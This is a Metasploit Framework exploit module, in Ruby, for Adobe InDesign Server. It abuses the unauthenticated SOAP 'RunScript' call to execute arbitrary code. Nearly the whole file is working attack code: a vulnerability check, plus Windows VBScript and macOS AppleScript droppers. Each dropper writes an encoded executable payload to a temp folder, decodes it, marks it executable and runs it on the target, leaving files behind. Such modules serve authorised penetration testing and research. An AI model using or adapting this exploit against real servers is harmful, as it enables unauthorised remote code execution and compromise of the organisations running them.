##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Adobe IndesignServer 5.5 SOAP Server Arbitrary Script Execution',
			'Description'    => %q{
					This module abuses the "RunScript" procedure provided by the SOAP interface of
				Adobe InDesign Server, to execute abritary vbscript (Windows) or applescript(OSX).

				The exploit drops the payload on the server and must be removed manually.
			},
			'Author'         =>
				[
					'h0ng10', # Vulnerability discovery / Metasploit module
					'juan vazquez' # MacOSX target
				],
			'License'        => MSF_LICENSE,
			'Platform'       => ['win', 'osx'],
			'Privileged'     => false,
			'DisclosureDate' => 'Nov 11 2012',
			'References'     =>
				[
					[ 'OSVDB', '87548'],
					[ 'URL', 'http://secunia.com/advisories/48572/' ]
				],
			'Targets'        =>
				[
					[
						'Indesign CS6 Server / Windows (64 bits)',
						{
							'Arch'     => ARCH_X86_64,
							'Platform' => 'win'
						}
					],
					[
						'Indesign CS6 Server / Mac OS X Snow Leopard 64 bits',
						{
							'Arch'     => ARCH_X86_64,
							'Platform' => 'osx'
						}
					]
				],
			'DefaultTarget'  => 0
		))

		register_options( [ Opt::RPORT(12345) ], self.class )
	end


	def send_soap_request(script_code, script_type)
		script_code.gsub!(/&/, '&amp;')
		soap_xml = %Q{
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:IDSP="http://ns.adobe.com/InDesign/soap/">
	<SOAP-ENV:Body>
		<IDSP:RunScript>
			<IDSP:runScriptParameters>
				<IDSP:scriptText>#{script_code}</IDSP:scriptText>
				<IDSP:scriptLanguage>#{script_type}</IDSP:scriptLanguage>
			</IDSP:runScriptParameters>
		</IDSP:RunScript>
	</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
}

		res = send_request_cgi({
			'uri'          => '/',
			'method'       => 'POST',
			'content-type' => 'application/x-www-form-urlencoded',
			'data'         => soap_xml,
		}, 5)
	end


	def check()
		# Use a very simple javascript
		check_var = rand_text_numeric(10)
		checkscript =  'returnValue = "' + check_var + '"'

		res = send_soap_request(checkscript, "javascript")

		return Exploit::CheckCode::Vulnerable if res.body.include?('<data xsi:type="xsd:string">' + check_var + '</data>')

		return Exploit::CheckCode::Safe
	end

	def exploit

		if target.name =~ /Windows/
			print_status("Creating payload vbs script")
			encoded_payload = generate_payload_exe().unpack("H*").join
			exe_file = Rex::Text.rand_text_alpha_upper(8) + ".exe"
			wsf = Rex::Text.rand_text_alpha(8)
			payload_var = Rex::Text.rand_text_alpha(8)
			exe_name_var = Rex::Text.rand_text_alpha(8)
			file_var = Rex::Text.rand_text_alpha(8)
			byte_var = Rex::Text.rand_text_alpha(8)
			shell_var = Rex::Text.rand_text_alpha(8)

			# This one creates a smaller vbs payload (without deletion)
			vbs = %Q{
Set #{wsf} = CreateObject("Scripting.FileSystemObject")
#{payload_var}  = "#{encoded_payload}"
#{exe_name_var} =  #{wsf}.GetSpecialFolder(2) + "\\#{exe_file}"
Set #{file_var} = #{wsf}.opentextfile(#{exe_name_var}, 2, TRUE)
For x = 1 To Len(#{payload_var})-3 Step 2
	#{byte_var} = Chr(38) & "H" & Mid(#{payload_var}, x, 2)
	#{file_var}.write Chr(#{byte_var})
Next

#{file_var}.write Chr(#{byte_var})
#{file_var}.close

Set #{shell_var} = CreateObject("Wscript.Shell")
#{shell_var}.Run Chr(34) & #{exe_name_var} & Chr(34), 0, False
Set #{shell_var} = Nothing
returnValue = #{exe_name_var}
			}
			#	vbs = Msf::Util::EXE.to_exe_vbs(exe)
			print_status("Sending SOAP request")

			res = send_soap_request(vbs, "visual basic")
			if res != nil and res.body != nil then
				file_to_delete = res.body.to_s.scan(/<data xsi:type="xsd:string">(.*)<\/data><\/scriptResult>/).flatten[0]
				print_warning "Payload deployed to #{file_to_delete.to_s}, please remove manually"
			end

		elsif target.name =~ /Mac OS X/

			print_status("Creating payload apple script")

			exe_payload = generate_payload_exe
			b64_exe_payload = Rex::Text.encode_base64(exe_payload)
			b64_payload_name = rand_text_alpha(rand(5) + 5)
			payload_name = rand_text_alpha(rand(5) + 5)

			apple_script = %Q{
set fp to open for access POSIX file "/tmp/#{b64_payload_name}.txt" with write permission
write "begin-base64 644 #{payload_name}\n#{b64_exe_payload}\n====\n" to fp
close access fp
do shell script "uudecode -o /tmp/#{payload_name} /tmp/#{b64_payload_name}.txt"
do shell script "rm /tmp/#{b64_payload_name}.txt"
do shell script "chmod +x /tmp/#{payload_name}"
do shell script "/tmp/#{payload_name}"
set returnValue to "/tmp/#{payload_name}"
			}

			print_status("Sending SOAP request")

			res = send_soap_request(apple_script, "applescript")

			if res != nil and res.body != nil then
				file_to_delete = res.body.to_s.scan(/<data xsi:type="xsd:string">(.*)<\/data><\/scriptResult>/).flatten[0]
				file_to_delete = "/tmp/#{payload_name}" if file_to_delete.nil? or file_to_delete.empty?
				print_warning "Payload deployed to #{file_to_delete.to_s}, please remove manually"
			elsif not res
				print_status "No response, it's expected"
				print_warning "Payload deployed to /tmp/#{payload_name}, please remove manually"
			end

		end

	end

end
